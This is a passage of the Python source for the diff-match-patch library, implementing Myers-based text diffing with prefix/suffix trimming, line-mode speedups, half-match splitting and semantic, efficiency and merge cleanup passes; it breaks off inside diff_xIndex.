"""Functions for diff, match and patch.

Computes the difference between two texts to create a patch.
Applies the patch onto another text, allowing for errors.
"""

__author__ = 'fraser@google.com (Neil Fraser)'

import math
import re
import sys
import time
import urllib.parse

class diff_match_patch:
	"""Class containing the diff, match and patch methods.

	Also contains the behaviour settings.
	"""

	def __init__(self):
		"""Inits a diff_match_patch object with default settings.
		Redefine these in your program to override the defaults.
		"""

		# Number of seconds to map a diff before giving up (0 for infinity).
		self.Diff_Timeout = 1.0
		# Cost of an empty edit operation in terms of edit characters.
		self.Diff_EditCost = 4
		# At what point is no match declared (0.0 = perfection, 1.0 = very loose).
		self.Match_Threshold = 0.5
		# How far to search for a match (0 = exact location, 1000+ = broad match).
		# A match this many characters away from the expected location will add
		# 1.0 to the score (0.0 is a perfect match).
		self.Match_Distance = 1000
		# When deleting a large block of text (over ~64 characters), how close do
		# the contents have to be to match the expected contents. (0.0 = perfection,
		# 1.0 = very loose).  Note that Match_Threshold controls how closely the
		# end points of a delete need to match.
		self.Patch_DeleteThreshold = 0.5
		# Chunk size for context length.
		self.Patch_Margin = 4

		# The number of bits in an int.
		# Python has no maximum, thus to disable patch splitting set to 0.
		# However to avoid long patches in certain pathological cases, use 32.
		# Multiple short patches (using native ints) are much faster than long ones.
		self.Match_MaxBits = 32

	#  DIFF FUNCTIONS

	# The data structure representing a diff is an array of tuples:
	# [(DIFF_DELETE, "Hello"), (DIFF_INSERT, "Goodbye"), (DIFF_EQUAL, " world.")]
	# which means: delete "Hello", add "Goodbye" and keep " world."
	DIFF_DELETE = -1
	DIFF_INSERT = 1
	DIFF_EQUAL = 0

	def diff_main(self, text1, text2, checklines=True, deadline=None):
		"""Find the differences between two texts.  Simplifies the problem by
			stripping any common prefix or suffix off the texts before diffing.

		Args:
			text1: Old string to be diffed.
			text2: New string to be diffed.
			checklines: Optional speedup flag.  If present and false, then don't run
				a line-level diff first to identify the changed areas.
				Defaults to true, which does a faster, slightly less optimal diff.
			deadline: Optional time when the diff should be complete by.  Used
				internally for recursive calls.  Users should set DiffTimeout instead.

		Returns:
			Array of changes.
		"""
		# Set a deadline by which time the diff must be complete.
		if deadline == None:
			# Unlike in most languages, Python counts time in seconds.
			if self.Diff_Timeout <= 0:
				deadline = sys.maxsize
			else:
				deadline = time.time() + self.Diff_Timeout

		# Check for null inputs.
		if text1 == None or text2 == None:
			raise ValueError("Null inputs. (diff_main)")

		# Check for equality (speedup).
		if text1 == text2:
			if text1:
				return [(self.DIFF_EQUAL, text1)]
			return []

		# Trim off common prefix (speedup).
		commonlength = self.diff_commonPrefix(text1, text2)
		commonprefix = text1[:commonlength]
		text1 = text1[commonlength:]
		text2 = text2[commonlength:]

		# Trim off common suffix (speedup).
		commonlength = self.diff_commonSuffix(text1, text2)
		if commonlength == 0:
			commonsuffix = ''
		else:
			commonsuffix = text1[-commonlength:]
			text1 = text1[:-commonlength]
			text2 = text2[:-commonlength]

		# Compute the diff on the middle block.
		diffs = self.diff_compute(text1, text2, checklines, deadline)

		# Restore the prefix and suffix.
		if commonprefix:
			diffs[:0] = [(self.DIFF_EQUAL, commonprefix)]
		if commonsuffix:
			diffs.append((self.DIFF_EQUAL, commonsuffix))
		self.diff_cleanupMerge(diffs)
		return diffs

	def diff_compute(self, text1, text2, checklines, deadline):
		"""Find the differences between two texts.  Assumes that the texts do not
			have any common prefix or suffix.

		Args:
			text1: Old string to be diffed.
			text2: New string to be diffed.
			checklines: Speedup flag.  If false, then don't run a line-level diff
				first to identify the changed areas.
				If true, then run a faster, slightly less optimal diff.
			deadline: Time when the diff should be complete by.

		Returns:
			Array of changes.
		"""
		if not text1:
			# Just add some text (speedup).
			return [(self.DIFF_INSERT, text2)]

		if not text2:
			# Just delete some text (speedup).
			return [(self.DIFF_DELETE, text1)]

		if len(text1) > len(text2):
			(longtext, shorttext) = (text1, text2)
		else:
			(shorttext, longtext) = (text1, text2)
		i = longtext.find(shorttext)
		if i != -1:
			# Shorter text is inside the longer text (speedup).
			diffs = [(self.DIFF_INSERT, longtext[:i]), (self.DIFF_EQUAL, shorttext),
							 (self.DIFF_INSERT, longtext[i + len(shorttext):])]
			# Swap insertions for deletions if diff is reversed.
			if len(text1) > len(text2):
				diffs[0] = (self.DIFF_DELETE, diffs[0][1])
				diffs[2] = (self.DIFF_DELETE, diffs[2][1])
			return diffs

		if len(shorttext) == 1:
			# Single character string.
			# After the previous speedup, the character can't be an equality.
			return [(self.DIFF_DELETE, text1), (self.DIFF_INSERT, text2)]

		# Check to see if the problem can be split in two.
		hm = self.diff_halfMatch(text1, text2)
		if hm:
			# A half-match was found, sort out the return data.
			(text1_a, text1_b, text2_a, text2_b, mid_common) = hm
			# Send both pairs off for separate processing.
			diffs_a = self.diff_main(text1_a, text2_a, checklines, deadline)
			diffs_b = self.diff_main(text1_b, text2_b, checklines, deadline)
			# Merge the results.
			return diffs_a + [(self.DIFF_EQUAL, mid_common)] + diffs_b

		if checklines and len(text1) > 100 and len(text2) > 100:
			return self.diff_lineMode(text1, text2, deadline)

		return self.diff_bisect(text1, text2, deadline)

	def diff_lineMode(self, text1, text2, deadline):
		"""Do a quick line-level diff on both strings, then rediff the parts for
			greater accuracy.
			This speedup can produce non-minimal diffs.

		Args:
			text1: Old string to be diffed.
			text2: New string to be diffed.
			deadline: Time when the diff should be complete by.

		Returns:
			Array of changes.
		"""

		# Scan the text on a line-by-line basis first.
		(text1, text2, linearray) = self.diff_linesToChars(text1, text2)

		diffs = self.diff_main(text1, text2, False, deadline)

		# Convert the diff back to original text.
		self.diff_charsToLines(diffs, linearray)
		# Eliminate freak matches (e.g. blank lines)
		self.diff_cleanupSemantic(diffs)

		# Rediff any replacement blocks, this time character-by-character.
		# Add a dummy entry at the end.
		diffs.append((self.DIFF_EQUAL, ''))
		pointer = 0
		count_delete = 0
		count_insert = 0
		text_delete = ''
		text_insert = ''
		while pointer < len(diffs):
			if diffs[pointer][0] == self.DIFF_INSERT:
				count_insert += 1
				text_insert += diffs[pointer][1]
			elif diffs[pointer][0] == self.DIFF_DELETE:
				count_delete += 1
				text_delete += diffs[pointer][1]
			elif diffs[pointer][0] == self.DIFF_EQUAL:
				# Upon reaching an equality, check for prior redundancies.
				if count_delete >= 1 and count_insert >= 1:
					# Delete the offending records and add the merged ones.
					a = self.diff_main(text_delete, text_insert, False, deadline)
					diffs[pointer - count_delete - count_insert : pointer] = a
					pointer = pointer - count_delete - count_insert + len(a)
				count_insert = 0
				count_delete = 0
				text_delete = ''
				text_insert = ''

			pointer += 1

		diffs.pop()  # Remove the dummy entry at the end.

		return diffs

	def diff_bisect(self, text1, text2, deadline):
		"""Find the 'middle snake' of a diff, split the problem in two
			and return the recursively constructed diff.
			See Myers 1986 paper: An O(ND) Difference Algorithm and Its Variations.

		Args:
			text1: Old string to be diffed.
			text2: New string to be diffed.
			deadline: Time at which to bail if not yet complete.

		Returns:
			Array of diff tuples.
		"""

		# Cache the text lengths to prevent multiple calls.
		text1_length = len(text1)
		text2_length = len(text2)
		max_d = (text1_length + text2_length + 1) // 2
		v_offset = max_d
		v_length = 2 * max_d
		v1 = [-1] * v_length
		v1[v_offset + 1] = 0
		v2 = v1[:]
		delta = text1_length - text2_length
		# If the total number of characters is odd, then the front path will
		# collide with the reverse path.
		front = (delta % 2 != 0)
		# Offsets for start and end of k loop.
		# Prevents mapping of space beyond the grid.
		k1start = 0
		k1end = 0
		k2start = 0
		k2end = 0
		for d in range(max_d):
			# Bail out if deadline is reached.
			if time.time() > deadline:
				break

			# Walk the front path one step.
			for k1 in range(-d + k1start, d + 1 - k1end, 2):
				k1_offset = v_offset + k1
				if k1 == -d or (k1 != d and
						v1[k1_offset - 1] < v1[k1_offset + 1]):
					x1 = v1[k1_offset + 1]
				else:
					x1 = v1[k1_offset - 1] + 1
				y1 = x1 - k1
				while (x1 < text1_length and y1 < text2_length and
							 text1[x1] == text2[y1]):
					x1 += 1
					y1 += 1
				v1[k1_offset] = x1
				if x1 > text1_length:
					# Ran off the right of the graph.
					k1end += 2
				elif y1 > text2_length:
					# Ran off the bottom of the graph.
					k1start += 2
				elif front:
					k2_offset = v_offset + delta - k1
					if k2_offset >= 0 and k2_offset < v_length and v2[k2_offset] != -1:
						# Mirror x2 onto top-left coordinate system.
						x2 = text1_length - v2[k2_offset]
						if x1 >= x2:
							# Overlap detected.
							return self.diff_bisectSplit(text1, text2, x1, y1, deadline)

			# Walk the reverse path one step.
			for k2 in range(-d + k2start, d + 1 - k2end, 2):
				k2_offset = v_offset + k2
				if k2 == -d or (k2 != d and
						v2[k2_offset - 1] < v2[k2_offset + 1]):
					x2 = v2[k2_offset + 1]
				else:
					x2 = v2[k2_offset - 1] + 1
				y2 = x2 - k2
				while (x2 < text1_length and y2 < text2_length and
							 text1[-x2 - 1] == text2[-y2 - 1]):
					x2 += 1
					y2 += 1
				v2[k2_offset] = x2
				if x2 > text1_length:
					# Ran off the left of the graph.
					k2end += 2
				elif y2 > text2_length:
					# Ran off the top of the graph.
					k2start += 2
				elif not front:
					k1_offset = v_offset + delta - k2
					if k1_offset >= 0 and k1_offset < v_length and v1[k1_offset] != -1:
						x1 = v1[k1_offset]
						y1 = v_offset + x1 - k1_offset
						# Mirror x2 onto top-left coordinate system.
						x2 = text1_length - x2
						if x1 >= x2:
							# Overlap detected.
							return self.diff_bisectSplit(text1, text2, x1, y1, deadline)

		# Diff took too long and hit the deadline or
		# number of diffs equals number of characters, no commonality at all.
		return [(self.DIFF_DELETE, text1), (self.DIFF_INSERT, text2)]

	def diff_bisectSplit(self, text1, text2, x, y, deadline):
		"""Given the location of the 'middle snake', split the diff in two parts
		and recurse.

		Args:
			text1: Old string to be diffed.
			text2: New string to be diffed.
			x: Index of split point in text1.
			y: Index of split point in text2.
			deadline: Time at which to bail if not yet complete.

		Returns:
			Array of diff tuples.
		"""
		text1a = text1[:x]
		text2a = text2[:y]
		text1b = text1[x:]
		text2b = text2[y:]

		# Compute both diffs serially.
		diffs = self.diff_main(text1a, text2a, False, deadline)
		diffsb = self.diff_main(text1b, text2b, False, deadline)

		return diffs + diffsb

	def diff_linesToChars(self, text1, text2):
		"""Split two texts into an array of strings.  Reduce the texts to a string
		of hashes where each Unicode character represents one line.

		Args:
			text1: First string.
			text2: Second string.

		Returns:
			Three element tuple, containing the encoded text1, the encoded text2 and
			the array of unique strings.  The zeroth element of the array of unique
			strings is intentionally blank.
		"""
		lineArray = []  # e.g. lineArray[4] == "Hello\n"
		lineHash = {}   # e.g. lineHash["Hello\n"] == 4

		# "\x00" is a valid character, but various debuggers don't like it.
		# So we'll insert a junk entry to avoid generating a null character.
		lineArray.append('')

		def diff_linesToCharsMunge(text):
			"""Split a text into an array of strings.  Reduce the texts to a string
			of hashes where each Unicode character represents one line.
			Modifies linearray and linehash through being a closure.

			Args:
				text: String to encode.

			Returns:
				Encoded string.
			"""
			chars = []
			# Walk the text, pulling out a substring for each line.
			# text.split('\n') would would temporarily double our memory footprint.
			# Modifying text would create many large strings to garbage collect.
			lineStart = 0
			lineEnd = -1
			while lineEnd < len(text) - 1:
				lineEnd = text.find('\n', lineStart)
				if lineEnd == -1:
					lineEnd = len(text) - 1
				line = text[lineStart:lineEnd + 1]
				lineStart = lineEnd + 1

				if line in lineHash:
					chars.append(chr(lineHash[line]))
				else:
					lineArray.append(line)
					lineHash[line] = len(lineArray) - 1
					chars.append(chr(len(lineArray) - 1))
			return "".join(chars)

		chars1 = diff_linesToCharsMunge(text1)
		chars2 = diff_linesToCharsMunge(text2)
		return (chars1, chars2, lineArray)

	def diff_charsToLines(self, diffs, lineArray):
		"""Rehydrate the text in a diff from a string of line hashes to real lines
		of text.

		Args:
			diffs: Array of diff tuples.
			lineArray: Array of unique strings.
		"""
		for x in range(len(diffs)):
			text = []
			for char in diffs[x][1]:
				text.append(lineArray[ord(char)])
			diffs[x] = (diffs[x][0], "".join(text))

	def diff_commonPrefix(self, text1, text2):
		"""Determine the common prefix of two strings.

		Args:
			text1: First string.
			text2: Second string.

		Returns:
			The number of characters common to the start of each string.
		"""
		# Quick check for common null cases.
		if not text1 or not text2 or text1[0] != text2[0]:
			return 0
		# Binary search.
		# Performance analysis: http://neil.fraser.name/news/2007/10/09/
		pointermin = 0
		pointermax = min(len(text1), len(text2))
		pointermid = pointermax
		pointerstart = 0
		while pointermin < pointermid:
			if text1[pointerstart:pointermid] == text2[pointerstart:pointermid]:
				pointermin = pointermid
				pointerstart = pointermin
			else:
				pointermax = pointermid
			pointermid = (pointermax - pointermin) // 2 + pointermin
		return pointermid

	def diff_commonSuffix(self, text1, text2):
		"""Determine the common suffix of two strings.

		Args:
			text1: First string.
			text2: Second string.

		Returns:
			The number of characters common to the end of each string.
		"""
		# Quick check for common null cases.
		if not text1 or not text2 or text1[-1] != text2[-1]:
			return 0
		# Binary search.
		# Performance analysis: http://neil.fraser.name/news/2007/10/09/
		pointermin = 0
		pointermax = min(len(text1), len(text2))
		pointermid = pointermax
		pointerend = 0
		while pointermin < pointermid:
			if (text1[-pointermid:len(text1) - pointerend] ==
					text2[-pointermid:len(text2) - pointerend]):
				pointermin = pointermid
				pointerend = pointermin
			else:
				pointermax = pointermid
			pointermid = (pointermax - pointermin) // 2 + pointermin
		return pointermid

	def diff_commonOverlap(self, text1, text2):
		"""Determine if the suffix of one string is the prefix of another.

		Args:
			text1 First string.
			text2 Second string.

		Returns:
			The number of characters common to the end of the first
			string and the start of the second string.
		"""
		# Cache the text lengths to prevent multiple calls.
		text1_length = len(text1)
		text2_length = len(text2)
		# Eliminate the null case.
		if text1_length == 0 or text2_length == 0:
			return 0
		# Truncate the longer string.
		if text1_length > text2_length:
			text1 = text1[-text2_length:]
		elif text1_length < text2_length:
			text2 = text2[:text1_length]
		text_length = min(text1_length, text2_length)
		# Quick check for the worst case.
		if text1 == text2:
			return text_length

		# Start by looking for a single character match
		# and increase length until no match is found.
		# Performance analysis: http://neil.fraser.name/news/2010/11/04/
		best = 0
		length = 1
		while True:
			pattern = text1[-length:]
			found = text2.find(pattern)
			if found == -1:
				return best
			length += found
			if found == 0 or text1[-length:] == text2[:length]:
				best = length
				length += 1

	def diff_halfMatch(self, text1, text2):
		"""Do the two texts share a substring which is at least half the length of
		the longer text?
		This speedup can produce non-minimal diffs.

		Args:
			text1: First string.
			text2: Second string.

		Returns:
			Five element Array, containing the prefix of text1, the suffix of text1,
			the prefix of text2, the suffix of text2 and the common middle.  Or None
			if there was no match.
		"""
		if self.Diff_Timeout <= 0:
			# Don't risk returning a non-optimal diff if we have unlimited time.
			return None
		if len(text1) > len(text2):
			(longtext, shorttext) = (text1, text2)
		else:
			(shorttext, longtext) = (text1, text2)
		if len(longtext) < 4 or len(shorttext) * 2 < len(longtext):
			return None  # Pointless.

		def diff_halfMatchI(longtext, shorttext, i):
			"""Does a substring of shorttext exist within longtext such that the
			substring is at least half the length of longtext?
			Closure, but does not reference any external variables.

			Args:
				longtext: Longer string.
				shorttext: Shorter string.
				i: Start index of quarter length substring within longtext.

			Returns:
				Five element Array, containing the prefix of longtext, the suffix of
				longtext, the prefix of shorttext, the suffix of shorttext and the
				common middle.  Or None if there was no match.
			"""
			seed = longtext[i:i + len(longtext) // 4]
			best_common = ''
			j = shorttext.find(seed)
			while j != -1:
				prefixLength = self.diff_commonPrefix(longtext[i:], shorttext[j:])
				suffixLength = self.diff_commonSuffix(longtext[:i], shorttext[:j])
				if len(best_common) < suffixLength + prefixLength:
					best_common = (shorttext[j - suffixLength:j] +
							shorttext[j:j + prefixLength])
					best_longtext_a = longtext[:i - suffixLength]
					best_longtext_b = longtext[i + prefixLength:]
					best_shorttext_a = shorttext[:j - suffixLength]
					best_shorttext_b = shorttext[j + prefixLength:]
				j = shorttext.find(seed, j + 1)

			if len(best_common) * 2 >= len(longtext):
				return (best_longtext_a, best_longtext_b,
								best_shorttext_a, best_shorttext_b, best_common)
			else:
				return None

		# First check if the second quarter is the seed for a half-match.
		hm1 = diff_halfMatchI(longtext, shorttext, (len(longtext) + 3) // 4)
		# Check again based on the third quarter.
		hm2 = diff_halfMatchI(longtext, shorttext, (len(longtext) + 1) // 2)
		if not hm1 and not hm2:
			return None
		elif not hm2:
			hm = hm1
		elif not hm1:
			hm = hm2
		else:
			# Both matched.  Select the longest.
			if len(hm1[4]) > len(hm2[4]):
				hm = hm1
			else:
				hm = hm2

		# A half-match was found, sort out the return data.
		if len(text1) > len(text2):
			(text1_a, text1_b, text2_a, text2_b, mid_common) = hm
		else:
			(text2_a, text2_b, text1_a, text1_b, mid_common) = hm
		return (text1_a, text1_b, text2_a, text2_b, mid_common)

	def diff_cleanupSemantic(self, diffs):
		"""Reduce the number of edits by eliminating semantically trivial
		equalities.

		Args:
			diffs: Array of diff tuples.
		"""
		changes = False
		equalities = []  # Stack of indices where equalities are found.
		lastequality = None  # Always equal to diffs[equalities[-1]][1]
		pointer = 0  # Index of current position.
		# Number of chars that changed prior to the equality.
		length_insertions1, length_deletions1 = 0, 0
		# Number of chars that changed after the equality.
		length_insertions2, length_deletions2 = 0, 0
		while pointer < len(diffs):
			if diffs[pointer][0] == self.DIFF_EQUAL:  # Equality found.
				equalities.append(pointer)
				length_insertions1, length_insertions2 = length_insertions2, 0
				length_deletions1, length_deletions2 = length_deletions2, 0
				lastequality = diffs[pointer][1]
			else:  # An insertion or deletion.
				if diffs[pointer][0] == self.DIFF_INSERT:
					length_insertions2 += len(diffs[pointer][1])
				else:
					length_deletions2 += len(diffs[pointer][1])
				# Eliminate an equality that is smaller or equal to the edits on both
				# sides of it.
				if (lastequality and (len(lastequality) <=
						max(length_insertions1, length_deletions1)) and
						(len(lastequality) <= max(length_insertions2, length_deletions2))):
					# Duplicate record.
					diffs.insert(equalities[-1], (self.DIFF_DELETE, lastequality))
					# Change second copy to insert.
					diffs[equalities[-1] + 1] = (self.DIFF_INSERT,
							diffs[equalities[-1] + 1][1])
					# Throw away the equality we just deleted.
					equalities.pop()
					# Throw away the previous equality (it needs to be reevaluated).
					if len(equalities):
						equalities.pop()
					if len(equalities):
						pointer = equalities[-1]
					else:
						pointer = -1
					# Reset the counters.
					length_insertions1, length_deletions1 = 0, 0
					length_insertions2, length_deletions2 = 0, 0
					lastequality = None
					changes = True
			pointer += 1

		# Normalize the diff.
		if changes:
			self.diff_cleanupMerge(diffs)
		self.diff_cleanupSemanticLossless(diffs)

		# Find any overlaps between deletions and insertions.
		# e.g: <del>abcxxx</del><ins>xxxdef</ins>
		#   -> <del>abc</del>xxx<ins>def</ins>
		# e.g: <del>xxxabc</del><ins>defxxx</ins>
		#   -> <ins>def</ins>xxx<del>abc</del>
		# Only extract an overlap if it is as big as the edit ahead or behind it.
		pointer = 1
		while pointer < len(diffs):
			if (diffs[pointer - 1][0] == self.DIFF_DELETE and
					diffs[pointer][0] == self.DIFF_INSERT):
				deletion = diffs[pointer - 1][1]
				insertion = diffs[pointer][1]
				overlap_length1 = self.diff_commonOverlap(deletion, insertion)
				overlap_length2 = self.diff_commonOverlap(insertion, deletion)
				if overlap_length1 >= overlap_length2:
					if (overlap_length1 >= len(deletion) / 2.0 or
							overlap_length1 >= len(insertion) / 2.0):
						# Overlap found.  Insert an equality and trim the surrounding edits.
						diffs.insert(pointer, (self.DIFF_EQUAL,
																	 insertion[:overlap_length1]))
						diffs[pointer - 1] = (self.DIFF_DELETE,
																	deletion[:len(deletion) - overlap_length1])
						diffs[pointer + 1] = (self.DIFF_INSERT,
																	insertion[overlap_length1:])
						pointer += 1
				else:
					if (overlap_length2 >= len(deletion) / 2.0 or
							overlap_length2 >= len(insertion) / 2.0):
						# Reverse overlap found.
						# Insert an equality and swap and trim the surrounding edits.
						diffs.insert(pointer, (self.DIFF_EQUAL, deletion[:overlap_length2]))
						diffs[pointer - 1] = (self.DIFF_INSERT,
																	insertion[:len(insertion) - overlap_length2])
						diffs[pointer + 1] = (self.DIFF_DELETE, deletion[overlap_length2:])
						pointer += 1
				pointer += 1
			pointer += 1

	def diff_cleanupSemanticLossless(self, diffs):
		"""Look for single edits surrounded on both sides by equalities
		which can be shifted sideways to align the edit to a word boundary.
		e.g: The c<ins>at c</ins>ame. -> The <ins>cat </ins>came.

		Args:
			diffs: Array of diff tuples.
		"""

		def diff_cleanupSemanticScore(one, two):
			"""Given two strings, compute a score representing whether the
			internal boundary falls on logical boundaries.
			Scores range from 6 (best) to 0 (worst).
			Closure, but does not reference any external variables.

			Args:
				one: First string.
				two: Second string.

			Returns:
				The score.
			"""
			if not one or not two:
				# Edges are the best.
				return 6

			# Each port of this function behaves slightly differently due to
			# subtle differences in each language's definition of things like
			# 'whitespace'.  Since this function's purpose is largely cosmetic,
			# the choice has been made to use each language's native features
			# rather than force total conformity.
			char1 = one[-1]
			char2 = two[0]
			nonAlphaNumeric1 = not char1.isalnum()
			nonAlphaNumeric2 = not char2.isalnum()
			whitespace1 = nonAlphaNumeric1 and char1.isspace()
			whitespace2 = nonAlphaNumeric2 and char2.isspace()
			lineBreak1 = whitespace1 and (char1 == "\r" or char1 == "\n")
			lineBreak2 = whitespace2 and (char2 == "\r" or char2 == "\n")
			blankLine1 = lineBreak1 and self.BLANKLINEEND.search(one)
			blankLine2 = lineBreak2 and self.BLANKLINESTART.match(two)

			if blankLine1 or blankLine2:
				# Five points for blank lines.
				return 5
			elif lineBreak1 or lineBreak2:
				# Four points for line breaks.
				return 4
			elif nonAlphaNumeric1 and not whitespace1 and whitespace2:
				# Three points for end of sentences.
				return 3
			elif whitespace1 or whitespace2:
				# Two points for whitespace.
				return 2
			elif nonAlphaNumeric1 or nonAlphaNumeric2:
				# One point for non-alphanumeric.
				return 1
			return 0

		pointer = 1
		# Intentionally ignore the first and last element (don't need checking).
		while pointer < len(diffs) - 1:
			if (diffs[pointer - 1][0] == self.DIFF_EQUAL and
					diffs[pointer + 1][0] == self.DIFF_EQUAL):
				# This is a single edit surrounded by equalities.
				equality1 = diffs[pointer - 1][1]
				edit = diffs[pointer][1]
				equality2 = diffs[pointer + 1][1]

				# First, shift the edit as far left as possible.
				commonOffset = self.diff_commonSuffix(equality1, edit)
				if commonOffset:
					commonString = edit[-commonOffset:]
					equality1 = equality1[:-commonOffset]
					edit = commonString + edit[:-commonOffset]
					equality2 = commonString + equality2

				# Second, step character by character right, looking for the best fit.
				bestEquality1 = equality1
				bestEdit = edit
				bestEquality2 = equality2
				bestScore = (diff_cleanupSemanticScore(equality1, edit) +
						diff_cleanupSemanticScore(edit, equality2))
				while edit and equality2 and edit[0] == equality2[0]:
					equality1 += edit[0]
					edit = edit[1:] + equality2[0]
					equality2 = equality2[1:]
					score = (diff_cleanupSemanticScore(equality1, edit) +
							diff_cleanupSemanticScore(edit, equality2))
					# The >= encourages trailing rather than leading whitespace on edits.
					if score >= bestScore:
						bestScore = score
						bestEquality1 = equality1
						bestEdit = edit
						bestEquality2 = equality2

				if diffs[pointer - 1][1] != bestEquality1:
					# We have an improvement, save it back to the diff.
					if bestEquality1:
						diffs[pointer - 1] = (diffs[pointer - 1][0], bestEquality1)
					else:
						del diffs[pointer - 1]
						pointer -= 1
					diffs[pointer] = (diffs[pointer][0], bestEdit)
					if bestEquality2:
						diffs[pointer + 1] = (diffs[pointer + 1][0], bestEquality2)
					else:
						del diffs[pointer + 1]
						pointer -= 1
			pointer += 1

	# Define some regex patterns for matching boundaries.
	BLANKLINEEND = re.compile(r"\n\r?\n$");
	BLANKLINESTART = re.compile(r"^\r?\n\r?\n");

	def diff_cleanupEfficiency(self, diffs):
		"""Reduce the number of edits by eliminating operationally trivial
		equalities.

		Args:
			diffs: Array of diff tuples.
		"""
		changes = False
		equalities = []  # Stack of indices where equalities are found.
		lastequality = None  # Always equal to diffs[equalities[-1]][1]
		pointer = 0  # Index of current position.
		pre_ins = False  # Is there an insertion operation before the last equality.
		pre_del = False  # Is there a deletion operation before the last equality.
		post_ins = False  # Is there an insertion operation after the last equality.
		post_del = False  # Is there a deletion operation after the last equality.
		while pointer < len(diffs):
			if diffs[pointer][0] == self.DIFF_EQUAL:  # Equality found.
				if (len(diffs[pointer][1]) < self.Diff_EditCost and
						(post_ins or post_del)):
					# Candidate found.
					equalities.append(pointer)
					pre_ins = post_ins
					pre_del = post_del
					lastequality = diffs[pointer][1]
				else:
					# Not a candidate, and can never become one.
					equalities = []
					lastequality = None

				post_ins = post_del = False
			else:  # An insertion or deletion.
				if diffs[pointer][0] == self.DIFF_DELETE:
					post_del = True
				else:
					post_ins = True

				# Five types to be split:
				# <ins>A</ins><del>B</del>XY<ins>C</ins><del>D</del>
				# <ins>A</ins>X<ins>C</ins><del>D</del>
				# <ins>A</ins><del>B</del>X<ins>C</ins>
				# <ins>A</del>X<ins>C</ins><del>D</del>
				# <ins>A</ins><del>B</del>X<del>C</del>

				if lastequality and ((pre_ins and pre_del and post_ins and post_del) or
														 ((len(lastequality) < self.Diff_EditCost / 2) and
															(pre_ins + pre_del + post_ins + post_del) == 3)):
					# Duplicate record.
					diffs.insert(equalities[-1], (self.DIFF_DELETE, lastequality))
					# Change second copy to insert.
					diffs[equalities[-1] + 1] = (self.DIFF_INSERT,
							diffs[equalities[-1] + 1][1])
					equalities.pop()  # Throw away the equality we just deleted.
					lastequality = None
					if pre_ins and pre_del:
						# No changes made which could affect previous entry, keep going.
						post_ins = post_del = True
						equalities = []
					else:
						if len(equalities):
							equalities.pop()  # Throw away the previous equality.
						if len(equalities):
							pointer = equalities[-1]
						else:
							pointer = -1
						post_ins = post_del = False
					changes = True
			pointer += 1

		if changes:
			self.diff_cleanupMerge(diffs)

	def diff_cleanupMerge(self, diffs):
		"""Reorder and merge like edit sections.  Merge equalities.
		Any edit section can move as long as it doesn't cross an equality.

		Args:
			diffs: Array of diff tuples.
		"""
		diffs.append((self.DIFF_EQUAL, ''))  # Add a dummy entry at the end.
		pointer = 0
		count_delete = 0
		count_insert = 0
		text_delete = ''
		text_insert = ''
		while pointer < len(diffs):
			if diffs[pointer][0] == self.DIFF_INSERT:
				count_insert += 1
				text_insert += diffs[pointer][1]
				pointer += 1
			elif diffs[pointer][0] == self.DIFF_DELETE:
				count_delete += 1
				text_delete += diffs[pointer][1]
				pointer += 1
			elif diffs[pointer][0] == self.DIFF_EQUAL:
				# Upon reaching an equality, check for prior redundancies.
				if count_delete + count_insert > 1:
					if count_delete != 0 and count_insert != 0:
						# Factor out any common prefixies.
						commonlength = self.diff_commonPrefix(text_insert, text_delete)
						if commonlength != 0:
							x = pointer - count_delete - count_insert - 1
							if x >= 0 and diffs[x][0] == self.DIFF_EQUAL:
								diffs[x] = (diffs[x][0], diffs[x][1] +
														text_insert[:commonlength])
							else:
								diffs.insert(0, (self.DIFF_EQUAL, text_insert[:commonlength]))
								pointer += 1
							text_insert = text_insert[commonlength:]
							text_delete = text_delete[commonlength:]
						# Factor out any common suffixies.
						commonlength = self.diff_commonSuffix(text_insert, text_delete)
						if commonlength != 0:
							diffs[pointer] = (diffs[pointer][0], text_insert[-commonlength:] +
									diffs[pointer][1])
							text_insert = text_insert[:-commonlength]
							text_delete = text_delete[:-commonlength]
					# Delete the offending records and add the merged ones.
					if count_delete == 0:
						diffs[pointer - count_insert : pointer] = [
								(self.DIFF_INSERT, text_insert)]
					elif count_insert == 0:
						diffs[pointer - count_delete : pointer] = [
								(self.DIFF_DELETE, text_delete)]
					else:
						diffs[pointer - count_delete - count_insert : pointer] = [
								(self.DIFF_DELETE, text_delete),
								(self.DIFF_INSERT, text_insert)]
					pointer = pointer - count_delete - count_insert + 1
					if count_delete != 0:
						pointer += 1
					if count_insert != 0:
						pointer += 1
				elif pointer != 0 and diffs[pointer - 1][0] == self.DIFF_EQUAL:
					# Merge this equality with the previous one.
					diffs[pointer - 1] = (diffs[pointer - 1][0],
																diffs[pointer - 1][1] + diffs[pointer][1])
					del diffs[pointer]
				else:
					pointer += 1

				count_insert = 0
				count_delete = 0
				text_delete = ''
				text_insert = ''

		if diffs[-1][1] == '':
			diffs.pop()  # Remove the dummy entry at the end.

		# Second pass: look for single edits surrounded on both sides by equalities
		# which can be shifted sideways to eliminate an equality.
		# e.g: A<ins>BA</ins>C -> <ins>AB</ins>AC
		changes = False
		pointer = 1
		# Intentionally ignore the first and last element (don't need checking).
		while pointer < len(diffs) - 1:
			if (diffs[pointer - 1][0] == self.DIFF_EQUAL and
					diffs[pointer + 1][0] == self.DIFF_EQUAL):
				# This is a single edit surrounded by equalities.
				if diffs[pointer][1].endswith(diffs[pointer - 1][1]):
					# Shift the edit over the previous equality.
					diffs[pointer] = (diffs[pointer][0],
							diffs[pointer - 1][1] +
							diffs[pointer][1][:-len(diffs[pointer - 1][1])])
					diffs[pointer + 1] = (diffs[pointer + 1][0],
																diffs[pointer - 1][1] + diffs[pointer + 1][1])
					del diffs[pointer - 1]
					changes = True
				elif diffs[pointer][1].startswith(diffs[pointer + 1][1]):
					# Shift the edit over the next equality.
					diffs[pointer - 1] = (diffs[pointer - 1][0],
																diffs[pointer - 1][1] + diffs[pointer + 1][1])
					diffs[pointer] = (diffs[pointer][0],
							diffs[pointer][1][len(diffs[pointer + 1][1]):] +
							diffs[pointer + 1][1])
					del diffs[pointer + 1]
					changes = True
			pointer += 1

		# If shifts were made, the diff needs reordering and another shift sweep.
		if changes:
			self.diff_cleanupMerge(diffs)

	def diff_xIndex(self, diffs, loc):
		"""loc is a location in text1, compute and return the equivalent location
		in text2.  e.g. "The cat" vs "The big cat", 1->1, 5->8

		Args:
			diffs: Array of diff tuples.
			loc: Location within text1.

		Returns:
			Location within text2.
		"""
		chars1 = 0
		chars2 = 0
		last_chars1 = 0
		last_chars2 = 0
		for x in range(len(diffs)):
			(op, text) = diffs[x]
			if op != self.DIFF_INSERT:  # Equality or deletion.
				chars1 += len(text)
